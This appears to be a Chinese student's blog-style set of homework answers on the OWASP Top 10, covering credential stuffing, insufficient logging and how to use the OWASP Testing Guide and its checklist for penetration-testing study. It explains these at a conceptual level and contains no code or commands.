    前10大风险项是根据流行数据选择和优先排序,并结合了对可利用性、可检测性和影响程度的一致性评估而形成。

2.请翻译一下credential stuffing(1分)

one that’s really common from a pentesting perspective is what we call credential stuffing. And say that we go out we grab data from breached data that’s out there so an account that’s been compromised the list shows up on the internet and now, the hackers have access to usernames and passwords and say we are testing in some website.

we just send usernames and passwords to an application ,and there’s no threat detection we’re just able to pound a login form or even use something like password spraying where we just take something like spring 2019 or summer 2020 exclamation and just throw common credentials out there and see if it sticks if we’re able to continuously brute force an application without anything preventing us or any account lockouts.

emm,实际上就是撞库吗……

利用已泄露的账户信息在多个平台进行尝试,这种尝试很难被检测出来。不同的用户名与密码,甚至于手机号,身份证号等等敏感信息进行组合来尝试登录。可能用户在多个平台的账户与密码是相同的,这样就十分危险。

Credential Stuffing Attack

Beyond credential stuffing

3.为什么说不充分的日志记录(insufficient logging)也算owasp十大漏洞的一种?他的危害性如何(2分)

之所以有很多入侵行为发生,其中原因之一是没有行为监管,或监管不充分。入侵者r进入系统然而没有日志记录这一行为,或日志记录不充分。

所以,在做一些项目时,检查日志与监控是十分重要的。不充分的日志记录与监管可能会导致很多入侵行为的发生。

4.请翻阅一下owasp testing guide,以及owasp testing guide check-list,视频说怎么结合这两个文档来学习渗透测试? 结合你平时渗透过程中的经验,谈谈你的感想。(3分)

中文版testing-guide

https://github.com/tanprathan/OWASP-Testing-Checklist

从testing guide中,我们可以了解到所有的不同的渗透测试一个网站应用的方法。check-list可以提供我们在测试中所有要检查的点,并为这些点提供测试工具。check-list中的测试点可拿到testing guide中检索得到更为详尽的信息与总结,search engine、operator……and step by step。

emmm,速查与教科书的关系……?渗透测试是开卷的,速查与教科书就显得十分重要…… 我们需要清楚应用工作的方式,熟悉测试的逻辑,而check-list和testing-guide负责帮助我们理顺逻辑并记忆基础测试点。

从思考与逻辑出发,最终落实到check-list and testing-guide。check-list and testing-guide帮助我们查漏补缺。

  1. you are only as good as you notes you are only as good as things you can refer to结合这两句话谈谈你的感想。(2分)

挺好……owasp提供了很好的资源,各种test-guiding,hacker101也提供了很好的学习资源(包括英语……

写博客这么长时间,感觉也确实有用。包括资料查找、记录payload、各种知识点……我们所记录的、可参考的东西是记忆可靠的延伸。

  

:D 一言句子获取中...